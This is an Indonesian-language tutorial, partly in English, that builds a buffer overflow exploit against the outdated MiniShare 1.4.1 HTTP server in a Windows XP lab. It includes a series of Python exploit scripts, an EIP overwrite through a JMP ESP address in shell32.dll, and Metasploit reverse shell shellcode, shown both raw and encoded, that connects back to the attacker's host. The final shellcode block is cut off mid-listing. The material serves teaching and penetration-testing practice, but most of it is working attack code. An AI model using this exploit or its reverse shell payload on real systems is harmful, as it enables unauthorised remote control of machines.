Buffer Overflow – Network Security


buffer-overflowHal pertama yang sering dilakukan pada saat melakukan menjaga keamanan jaringan adalah penetrasi dengan menggunakan beberapa exploitation tool seperti CANVAS, Core Impact dan Metasploit, Sudah seharusnya seorang penetrator/attacker mengerti bagaimana buffer overflow sebenarnya terjadi. Dengan tutorial singkat ini, semoga akan membantu anda mengerti bagaimana proses itu terjadi dengan peralatan tersebut  dan juga akan membantu anda dalam melakukan troubleshoot jika terjadi hal-hal yang tidak diinginkan terjadi dikarenakan kesalahan pada saat me-maintain sebuah keamanan jaringan.

Sebagai tambahan, dengan dapat menghasilkan exploit buffer overflow dapat memberikan anda sebuah tool yang lebih akurat dalam menemukan celah keamanan. Ini adalah skil yang sangat penting dalam melakukan pertahanan terhadap jaringan.

Untuk kali ini, saya akan menuliskan tutorial tentang cara menuliskan buffer overflow. Kali ini celah keamaanan aplikasi terdapat di aplikasi windows MiniShare 1.4.1. Minishare 1.4.1 adalah versi yang sangat jadul dari versi yang ada sekarang dan celah keamanannya telah di patch pada versi terbarunya. Meskipun sudah di patch, untuk kali ini lumayan buat memberikan contoh bagaimana cara nubi buat buffer overflow, hehe.. (termasuk saya juga :D)

Pada tutorial ini, saya akan fokuskan pada dasar praktikal skill dalam melakukan exploit buffer overflow tapi tidak se-detail bagaimana teorinya atau bagaimana cara mengetahui buffer overflow ditemukan. Di Internet sudah banyak berbagai resource tentang teori buffer overflow, wikipedia mungkin, dan saya insyaallah akan memberikan cara menemukan celah pada aplikasi pada post berikutnya (sementara ngumpulin informasinya ^__^).

Warning! Please note that this tutorial is intended for educational purposes only, and you should NOT use the skills you gain here to attack any system for which you don’t have permission to access. Its illegal in most jurisdictions to access a computer system without authorisation, and if you do it and get caught (which is likely) you deserve whatever you have coming to you. Don’t say you haven’t been warned.

Dasar Teori🙂

Untuk mengikuti tutorial ini saya harapkan anda telah mempunyai dasar dari :

* TCP/IP networking,

* management of the Windows Operating System (including installing software, running and restarting services, connecting to remote desktop sessions, etc), and Menguasai OS Windows (termasuk instalasi software, menjalankan, dan mematikan servis, melakukan koneksi dengan RDP dll)

* running Python scripts. Menjalankan skrip Python

Anda diharapkan memiliki pengetahuan yang cukup tentang sistem attacking yang akan digunakan (Backtrack, Linux, Windows, atau yang lainnya) untuk dapat menjalankan program dan skrip.

Kemampuan programming pada bahasa python adalah bonus namun tidak dianjurkan.

System Setup

Untuk melakukan exploit pada tutorial kali ini, saya menggunakan korban dengan menggunakan Windows XP SP 2 dan sistem penyerangnya adalah Backtrack 4 PreFinal.

Anda tidak wajib menggunakan sistem yang saya gunakan , tapi saya anjurkan untuk korbannya menggunakan XP SP2 atau lebih jadul lagi🙂. Untuk sistem penyerangnnya dapat jadi apapun selama itu dapat menjalankan software yang akan saya deskripsikan dibawah ini, dan juga selama anda dapat menerjemahkan perintah linux yang akan saya gunakan ke sistem yang akan anda pilih sebagai penyerang.

Jika diperlukan, anda dapat menggunakan XP SP2 Virtual Machine (pakai virtualbox bisa juga) sebagai korban,

Pada tutorial berikut ini saya akan menetapkan IP Address yang akan dipakai pada sistem korban dan penyerang. Anda dapat menggunakan IP yang lainnya, berikut IP Addressnya :

* Sistem Penyerang : 192.168.20.11

* Sistem Korban : 192.168.10.27

Kedua sistem tersebut tersambung dalam satu network dan saya menggunakan remote despot untuk mengendalikannya, saya melakukan ini agar mempermudah saya switching antara sistem penyerang dan sistem korban.

Persyaratan Software dalam melakukan penyerangan

Sistem penyerang dan korban harus memiliki beberapa software yang terinstalasi. Dengan menggunakan BT 4 PreFinal sebagai sistem penyerang, anda harus fokus pada beberapa software berikut :

* Perl interpreter

* Python interpreter

* Metasploit 3.x

* Text Editor

* Netcat

Sistem Korban memerlukan beberapa program yaitu :

* MiniShare 1.4.1

* OllyDbg 1.10

Pastikan semua software yang ada telah terinstall dan beroperasi dengan baik sebelum melanjutkan tutorial ini.

Persiapkan program debugger anda

Hal pertama yang akan dipelajari untuk memulainya adalah cara  membuka program yang vulnerable pada debugger. Hal ini sangat mutlak dalam mengembangkan sebuah exploit buffer overflow, dimana kita akan mengetahui apa yang terjadi didalam sebuah aplikasi ketika terjadi crash yang akan memulai serang buffer overflow. Informasi tersebut akan membantu kita dalam membangun sebuah buffer untuk dikirimkan ke aplikasi dan memperbolehkan kita untuk mengendalikan program apa yang dapat di jalankan.

Pada tutorial kali ini kita akan menggunakan OllyDbg sebagai debugger dan Minishare 1.4.1. Kedua aplikasi tersebut harus diinstall pada sistem korban sebelum kita melakukan penyerangan. OllyDbg di ekstrak dulu lalu jalankan Olldbg.exe, dan untuk MiniShare dapat diinstal seperti biasa. Letakkan OllyDbg pada desktop, karena akan lebih mudah dibukannya karena nanti akan sering digunakan selama proses.

Untuk men-load MiniShare pada debugger, tinggal klik File>Open menu pada OllyDbg, lalu browse ke instalasi program-nya MiniShare (C:\Program Filles\MiniShare\) dan cari minishare.exe lalu buka.

minishare14

Kita dapat juga memulai MiniShare diluar debugger, dengan cara klik opsi File->Attach untuk mengambil proses pada list dan debugger siap mengendalikan semua proses.

Metode kedua ini sangat sering digunakan dikarenakan kita perlu attach ke processees dimana dijalankan sebagai services dan program ini juga sering harus direstart diluar dari debugger.

Saya akan prefer untuk menjalankan program didalam debugger, karena kita dapat menangkap dan mengendalikan progarm sejak tahap awal program itu dieksekusi dan anda dapat me-restart proses tersebut dari debugger.

Jika terjadi kesalahan saat memulai program tersebut langsung dari debugger (contohnya jika program tiba-tiba mati setelah di jalankan), maka dapat anda gunakan metode kedua (attach method) untuk men-debug program

Setelah attaching MiniShare, debugger akan mengontrol eksekusi program tersebut dan debugging akan dilakukan.

minishare0

Program MiniShare telah  sepenuhnya di kendalikan oleh debugger, dan anda dapat menggunakan perintah-perintah yang bervariasi pada OllyDbg untuk meneruskan step pada instruksi-instruksi yang anda lihat para jendela program untuk melihat bagaimana program itu berjalan. Kali ini kita akan membiarkan jalan tersebut berjalan hingga sebuah exceptions occurs didapatkan, so cukup tekan F9, atau tombol Run Program atau bisa juga dengan menu Debug->Run. Ini akan membiarkan program untuk berjalan hingga terjadi sesuatu (celah) dimana debugger akan mengendalikan lagi step program tersebut seperti breakpoint atau exception terjadi

Selama proses ini, kita akan memberikan trigger exception pada saat debug proses MiniShare dan exception ini akan mematahkan proses normal yang terjadi. Untuk itu, anda harus melakukan restart pada proses debugger setelah anda siap untuk mentrigger exception itu lagi. Untuk melakukan tersebut dapat menggunakan pilihan Debug->Restart.

The OllyDbg Main Window

Pada kali ini kita akan mempelajari dengan singkat OllyDbg sehingga anda dapat mengetahui daerah mana saja yang sedang dilakukan selama tutorial ini. Jendela OllyDbg terdiri atas 4 panel.

Panel atas kiri menunjukkan daftar instruksi yang akan di eksekusi oleh CPU. Kolom pertama pada panel ini menunjukkan memory address yang dimana instruksi terletak, kolom kedua akan menunjukkan bahasa mesin opcode dari instruksi, dan kolom ketiga akan menunjukkan bentuk assembly dari instruksi seperti pada format MASM (secara default)

Pada bagian kiri bawah panel akan menunjukkan sebuah memory dump dari sesi terkini pada memori ketika eksekusi dijalankan. Terdapat format yang berbeda tapi secara default anda akan melihat output berupa Hexa dimana akan menunjukkan alamat memori, hex dump dan persamaan dari karakter ASCII.

Pada panel atas kanan anda akan melihat register yang bervariasi pada CPU dimana akan digunakan untuk membantu eksekusi kode. 2 register yang harus anda ketahui selama tutorial ini adalah EIP register, dimana mengandung alamat dari instruk yang mana CPU akan mengeksekusi selanjutnya, dan ESP yang terdiri atas pointer terhadap entry terkini pada struktur memori yang penting yang dinamakan stack.

Pada panel kanan bawah anda akan melihat stack, disinilah memory structure tempat dimana tumpukan virtual dari 32 bit (4byte) adress terdapat. Stack ini memakai metode FILO struktur pada memori dimana program menyimpan variabel dan memeriksa posisi dari kode ketika fungsi dipanggil. Untuk mendapatkan entry pada stack, anda harus menambahkannya pada tingkatan atas (TOP) dan hanya entry teratas yang dapat di pindahkan dari stack, jadi jikan akan mengambil entry ketiga, anda harus mengambil 2 entry diatasnya.

minishare13

Setiap panel tersebut memiliki menu berbeda ketika anda meng-klik-kanan.

Triggering the Vulnerability

Sekarang kita telah memiliki program yang berjalan diatas debugger, kita harus mengetahui bagaimana cara men-trigger celah sehingga kita dapat menganalisanya dengan tujuan dapat mengembangkan exploit tersebut.

Dengan cara memeriksa security advisory di internet terhadap celah keamanan dan dengan melihat exploit yang anda, kita dapat mengetahui bahwa celah keamanan terdapat pada saat kita men-triggernya dengan cara mengirimkan packet permintaan GET dalam jumlah yang sangat banyak terhadap sistem.

Kita dapat mencari tahu standar format dari HTTP GET request dengan memeriksa dokument HTTP RFC atau mengambil packet dari trafik web dengan wireshark, tapi dasarnya GET request itu mengandung sebuah URL yang akan diterima oleh web server, diikuti HTTP protocol version dan header yang lainnya ,  diakhiri dengan 2 baris baru.

Dengan mengambil packet request dari www.google.com diketahui bahwa permintaan tersebut dimulai dengan “GET /HTTP/1.1” lalu berisikan angka dari header yang lain dan diakhiri 2 baris baru, berisikan return character.

Kita dapat menghasilkan overflow tersebut dengan mengirimkan baris dibawah ini ke server :

“GET [long string of A characters] HTTP/1.1[new_line, carriage_return x 2]”

Kita dapat mengirimkan ini dengan menggunakan skrip Python. Pada skrip, “\x41” adalah nilai heksadesimal dari karakter ASCII “A” dan “\r\n” adalah baris baru dengan return. Anda butuh merubah target_address dengan IP Address Sistem Korban anda sendiri. Simpan dengan nama “minisharesploit.py” (w/out quote)  dan pada Sistem Linux seperti Backtrack anda dapat menjalankannya, tapi pertama anda harus memastikan file tersebut dapat dieksekusi dengan cara memberikan “chmod +x minisharesploit.py” pada windows anda dapat menggunakan langsung dari python interpreter dengan command line seperti “python minsharesploit.py”. Python merupakan whitespace sensitive jadi pastikan anda menulisnya dengan teliti.

#!/usr/bin/python

import socket

target_address=”192.168.10.27″

target_port=80

buffer = “GET ” + “\x41″ * 2220 + ” HTTP/1.1\r\n\r\n”

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Perhatikan, terdapat spasi setelah “GET” dan spasi lagi sebelum HTTP/1.1

Pada linux, jalankan skrip tersebut dengan cara :

user@bt4pf:~$ ./minisharesploit.py

Ketika kita menjalankan skrip tersebut dan mengirimkan buffer pada aplikasi, kita akan melihat debugger akan mematikan eksekusi program ketika mendeteksi adanya exception. Pada debugger, kita akan melihat aplikasi crash dengan access violation reading 41414141 dan register EIP akan menunjukkan pada alamat 41414141. Ini artinya bagian buffer yang telah kita kirimkan ke aplikasi telah digunakan untuk meng-overwrite nilai dari register EIP. Melihat exception tersebut itu pada debugger adalah indikator baik bahwa exploitable buffer overflow vulnerablity telah ditemukan.

minishare1-c

Taking Control of the Crash

Detail terhadap register EIP akan dijabarkan disini. CPU akan menunjukkan instruksi yang mana akan di eksekusi berikutnya dengan membaca nilai dari register EIP dan mengeksekusi instruksi yang berlokasi pada memori address. Sebagai contohnya jika EIP register mengandung address 0x77daaf0a dan pada memori address di simpan code \xff\xe4 (dimana pada bahasa mesin itu merupakan oppcode dari instruksi JMP ESP) lalu CPU akan mengeksekusi instruksi tersebut, menyebabkan “jump” tereksekusi pada memori dan disimpan pada ESP register. Nilai EIP register akan di set pada nilai ESP register dan CPU akan meng-eksekusi instruksi yang berlokasi pada memory address yang telah direferensikan oleh ESP register. Jadi, jika ESP register berisikan nilai 0x01423908, instruksi JMP ESP  akan menyebabkan EIP di set menjadi 0x01423908.

Konsekuensinya, untuk men-redirect eksekusi pada exploit kita, kita perlu me-overwrite register EIP dengan lokasi memori yang mengandung instruksi bahasa mesin yang akan mengubah EIP register ke area dimana kita dapat menyimpan code kita sendiri. .

Kita tidak mengetahui pasti dimana address dari lokasi memori yang dapat kita kendalikan melalui buffer yang dikirimkan, tapi kita tahu dengan mencari register

Mencari instruksi JMP ESP

Tahapan pertama dalam mencarinya adalah dengan meng-overwrite EIP address pada waktu crash terjadi dengan lokasi memori yang diketahui mengandung bahasa mesin yang akan diredirect ke buffer yang dikirimkan.

Jadi bagaimanakah cara kita mencari instruksi JMP ESP yang terletak pada lokasi memori yang kita gunakan? Terdapat beberapa cara untuk mendapatkannya, tapi kali ini adalah dengan cara menggunakan debugger.

Pertama-tama, buka menu View pada Olly dan pilih opsi Executable Modules. Ini akan membuka jendela baru yang akan menunjukkan semua modul executable yang dimiliki proses tersebut. Untuk Minishare, kita dapat melihat dari minishare.exe, lalu beberapa file DLL windows yang akan di load oleh Minishare untuk menyediakan fungsi-fungsi yang diperlukan. Kita dapat mencari dalam executable modules tersebut untuk JMP ESP instruction yang kita inginkan

minishare5-c

Catatan : Exploit yang akan dihasilkan akan berjalan pada Windows XP SP2, Windows XP tidak memiliki proteksi lokasi untuk mengacak lokasi dasar dari file DLL yang di load, jadi setiap kali aplikasi ini berjalan DLL akan diload ke memori pada awal address yang sama. Ini berarti instruksi yang berlokasi didalam DLL akan memiliki address yang persis sama setiap program menjalankannya. Windows Vista dan Windows 7 implementasi proteksi yang dinamakan ASLR yang akan menghasilkan DLL yang akan diloard pada lokasi yang berbeda, artinya instruksi yang terdapat pada file DLL akan memiliki alamat memory yang berbedar setiap sistem di restart. Sebenarnya ada beberapa cara untuk mengakali proteksi ini, tapi saya harapkan untuk kali ini coba pakai windows xp sendiri.

Pada daftar executable modules, kita dapat menggunakan hampir semua dari list tersebut untuk mencari alamat JMP ESP, akan tetapi ada beberapa hal yang harus kita sadari ketika akan memilih. Pertama, kita harus menghindari setiap alamat yang mengandung byte zero \x00. Karakter ini adalah string terminator pada bahasa C, dan biasanya akan berakibat exploit gagal di lancarkan ketika di masukkan bersama buffer. Dengan alasan yang hampir sama, kita juga akan menghindari baris yang menggunakan karakter \x0a dan \x0d. Sebagai tambahan, jika memungkinkan, lebih baik menggunakan DLLs yang berada pada aplikasi itu sendiri, karena address ini tidak akan berubah dengan OS yang Service Pack-nya berbeda, ini menyebabkan exploit menjadi lebih portable. Dikarenakan Minishare tidak memiliki file DLL yang menjadi bagian dari programnya, maka kita akan menggunakan Windows DLL yang akan di load olehnya. Kita akan menggunakan shell32.dll atau user32.dll. Sekarang kita mulai mencari shell32.dll

Klik kanan pada file shell32.dll pada pada window Executabel Modules, dan pilih View Code pada CPU

minishare6-c

Lalu klik  kanan pada area CPU (dimana akan ditampilkan code untuk modul  shell32.dll – perhatikan text setelah “module” pada title bar untuk memastikannya) dan pilih Search for – Command atau dengan menggunakan kombinasi CTRL+F

minishare7-c

Pada Find Command, ketikkan JMP ESP dan klik  Find

minishare8-c

Pada sistem saya, JMP ESP command berlokasi pada alamat memori 0x7CA58265 dari Shell32.dll

minishare9-c

Alamat ini akan dibersihkan dari karakter-karakter yang tidak berguna (\x00\x0a\x0d) jadi kita akan menggunakan alamat ini untuk meng-overwrite EIP. Jika alamat pertama yang keluar ketika anda mencari mengandung karakter tersebut, lanjutkan pencarian dengan menggunakan Serch For->Next atau CTRL+L

Mencari Offset pada Buffer

Now that we have an address to use to overwrite EIP, we need to find the exact location within our buffer at which EIP is overwritten, so we can structure the buffer we send appropriately. We also need to find the location in our buffer where the ESP register points, so we can locate our machine language code there.

Sekarang kita akan memiliki alamat untuk meng-overwrite EIP, kita harus mencari alamat pasti pada buffer dimana EIP telah di overwrite, jadi kita dapat membangun buffer yang dapat dikirim dengan benar. Kita juga mesti mencari lokasi pada buffer dimana register ESP, jadi kita dapat meletakkan kode bahasa mesin kita disitu.

Untuk dapat melakukannya, kita harus menggunakan tool dari Metasploit yaitu pattern_create.rb. Tool ini akan menghasilkan pola acak dan unik dengan panjang tertentu, yang akan di masukkan ke buffer.

Sekarang kita generate string tersebut dengan length sebesar 2220 dan letakkan tersebut kedalam exploit kita.

user@bt4pf:~$ cd /pentest/exploits/framework3/tools/

user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_create.rb 2220

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa….Cv4Cv5Cv6Cv7Cv8Cv9

Perhatikan, saya telah memotong panjangnya output yang dihasilkan oleh patter_create tersebut, yang terpenting anda harus mem-paste semua karakter yang dihasilkan,  semuanya tak terkecuali.

Dengan begitu exploit kita akan menjadi :

#!/usr/bin/python

import socket

target_address=”192.168.10.27″

target_port=80

buffer = “GET ”

buffer+= (“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa….Cv4Cv5Cv6Cv7Cv8Cv9″)

buffer+= ” HTTP/1.1\r\n\r\n”

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Sekarang kita gunakan Debug->Restart pada OllyDbg untuk men-restart MiniShare dan klik Play atau F9 untuk menjalankan run, dan trigger exploitnya lagi. Ingat kita harus melakukannya tiap kita ingin men-trigger crash programnya lagi.

This time when our exception is caught by the debugger, we get an access violation with EIP pointing to 36684345 and ESP points to a memory location containing the text “Ch7Ch8h9…..”

Pada waktu ini, exception ditangkap oleh debugger, kita akan mendapatkan access violation dengan EIP mengarah pada 36684345 dan ESP akan mengarah pada lokasi memori yang mengandung kata “Ch7Ch8h9…”

Lalu cari offset pada alamat ini dengan menggunakan Metasploit pattern_offset.rb.

user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_offset.rb 36684335

1787

user@bt4pf:/pentest/exploits/framework3/tools$ ./pattern_offset.rb Ch7C

1791

Berdasarkan dari EIP, overwrite telah dilakukan sebesar 1787 byte ke buffer kita dan ESP sebesar 1791 byte ke dalam buffer kita. Ubah beberapa bagian di exploit kita dan periksa apakah itu sudah sesuai.

#!/usr/bin/python

import socket

target_address=”192.168.10.27″

target_port=80

buffer = “GET ”

buffer+= “\x90” * 1787

buffer+= “\x41\x41\x41\x41” # EIP Should be overwritten here

buffer+= “\x90” * (1791 – len(buffer))

buffer+= “\xcc” * (2220 – len(buffer)) # ESP should point here

buffer+= ” HTTP/1.1\r\n\r\n”

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Restart aplikasi MiniShare dan jalankan exploitnya, dan pada waktu crash kita akan melihat EIP menunjukkan 41414141 dan ESP juga langsung setelah alamat di overwrite.

So we now know the exact offsets we need in order to overwrite EIP with an address of our choosing, so we can proceed to add the correct data into our buffer.

Sekarang kita tahu offset yang sebenarnya yang diperlukan untuk meng-overwrite EIP dengan alamat yang telah di pilih, jadi kita dapat melanjutkan menambah data yang benar ke buffer.

Modifikasi Exploit untuk mendapatkan Code Execution

Pertama kita akan menggunakan JMP ESP yang kita dapatkan sebelumnya untuk meng-overwrite EIP.

Sekarang tuliskan ke exploit kita. Ingat alamat JMP ESP anda akan berbeda jika anda menggunakan level patch atau language version yang berbeda dari saya, jadi gunakan alamat yang anda dapat dari metode sebelumnya.

#!/usr/bin/python

import socket

target_address=”192.168.10.27″

target_port=80

buffer = “GET ”

buffer+= “\x90” * 1787

buffer+= “\x65\x82\xA5\x7C” # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.

buffer+= “\xcc” * (2220 – len(buffer)) # ESP points here.

buffer+= ” HTTP/1.1\r\n\r\n”

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Jalankan MiniShare pada debugger dan tekan F9 untuk memulai eksekusi program MiniShare.

Sebelum kita mengirimkan exploit pada kali ini, kita akan set breakpoint pada alamat yang akan ditulis ulang untuk memastikan eksekusi berhasil di redirect. Pada bagian atas kiri panel windows Ollydbg, klik kanan dan pilih Go to>Expression. Pada window, masukkan address instruksi JMP ESP (7CA58265 untuk kali ini), dan klik OK. Lalu dengan instruksi JMP ESP yang dipilih, tekan F2 untuk memberikan breakpoint. Address portion pada bagian CPU akan berwarna merah, ini mengindikasikan breakpoint telah di set. Breakpoint pada dasarnya akan menghentikan eksekusi program pada debugger ketika kita telah sampai pada point yang penting didalam kode., dan itu memberikan anda kesempatan untuk memastikan JMP telah terjadi tanpa membiarkan kode kita terus berjalan.

Sekarang kirimkan exploitnya…

Setelah itu, crash akan di trigger dan eksekusi akan menghentikan tepat pada breakpoit yang telah kita buat. Sekarang, jika anda menekan F7, eksekusi akan terus ke step awal pada karakter \xcc dari buffer yang telah dikirimkan. Jika hal ini tidak terjaddi, coba cek kembali exploit anda, apakah offset yang diberikan telah benar, peletakkan alamat JMP ESP ke buffer sudah benar dan tidak terdapat karakter \x00, \x0a atau \x0d bytes pada alamat JMP ESP.

Meletakkan Shellcode pada Exploit

Sekarang kita memiliki dasar code eksekusi, akan tetapi exploit kita tidak akan berguna sampai kita meletakkan beberapa bahasa mesin pada buffer kita. Untuk itu kita akan menggunakan msfpayload untuk menghasilkan shellcode dimana kita akan meletakkan buffer. Kode ini adalah hasil dari opcode pada bahasa mesin yang dapat melakukan beberapa hal yang berguna, seperti membuka shell, menjalankan program dll.

Kita akan menghasilkan sebuah reverse shell payload, dimana pada dasarnya akan membuat program yang telah di exploit akan menginisiasikan koneksi TCP ke listener pada sistem penyerang, dan akan memberikan shell pada koneksi tersebut.

Kita akan menggunakan parameter LHOST dan LPORT untuk balik menghubungi sistem penyerang yaitu 192.168.20.11 pada port 443. Kita gunakan parameter ‘C’ untuk mendapatkan output dalam format c. Untuk pemakaian IP dapat di sesuaikan dengan IP dari sistem anda sendiri. Jika terdapat masalah pada perintah dibawah ini, coba unbah lokasi directory dari Metasploit menjadi /pentest/exploits/framework3 pada BackTrack

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 C

/*

* windows/shell_reverse_tcp – 314 bytes

* http://www.metasploit.com

* LHOST=192.168.20.11, EXITFUNC=process, LPORT=443,

* ReverseConnectRetries=5

*/

unsigned char buf[] =

“\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30”

“\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”

“\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2”

“\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85”

“\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3”

“\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d”

“\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58”

“\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b”

“\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff”

“\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68”

“\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01”

“\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50”

“\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7”

“\x68\xc0\xa8\x14\x0b\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56”

“\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3”

“\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24”

“\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56”

“\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89”

“\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0”

“\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80”

“\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5”;

Melihat dari output kita dapat melihat potensi masalah, dengan adanya karakter angka seperti \x00, \x0a dan xd pada output. Untuk menyelesaikannya masalah ini, kita dapat menggunakan salah satu dari tool yang disediakan oleh metasploit, msfencode, dimana akan membuang raw shellcode sebagai input dan outputnya versi encode dimana telah dibuang beberapa karakter yang telah ditentukan.

Kita modifikasi perintah msfpayload untuk menggunakan keluaran raw “R” dan pipe kedalam msfencode untuk menggunakan arsitektur X86, untuk membuang karakter-karakter sampah seperti “\x00\x0a\x0d” dan untuk meletekakkannya di output pada format c.

user@bt4pf:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b ‘\x00\x0a\x0d’ -t c

[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

unsigned char buf[] =

“\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23”

“\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae”

“\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d”

“\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01”

“\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa”

“\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7”

“\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2”

“\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67”

“\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8”

“\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15”

“\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f”

“\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81”

“\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c”

“\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26”

“\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff”

“\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13”

“\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95”

“\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0”

“\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0”

“\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf”

“\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f”

“\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52”

“\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb”;

Letakkan code diatas kedalam exploit. Ada satu hal lagi yang harus dilakukan, dan itu adalah meletakkan instruksi NOP pada awal dari shellcode. Ini akan menyelesaikan masalah yang diakibatkan ketika beberapa tipe encode shellcode dijalankan.

#!/usr/bin/python

import socket

target_address=”192.168.10.27″

target_port=80

buffer = “GET ”

buffer+= “\x90” * 1787

buffer+= “\x65\x82\xA5\x7C” # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.

# msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 R | msfencode -a x86 -b ‘\x00\x0a\x0d’ -t c – x86/shikata_ga_nai 342 bytes

buffer+= “\x90” * 16

buffer+= (“\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23”

“\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae”

“\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d”

“\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01”

“\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa”

“\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7”

“\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2”

“\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67”

“\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8”

“\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15”

“\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f”

“\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81”

“\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c”

“\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26”

“\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff”

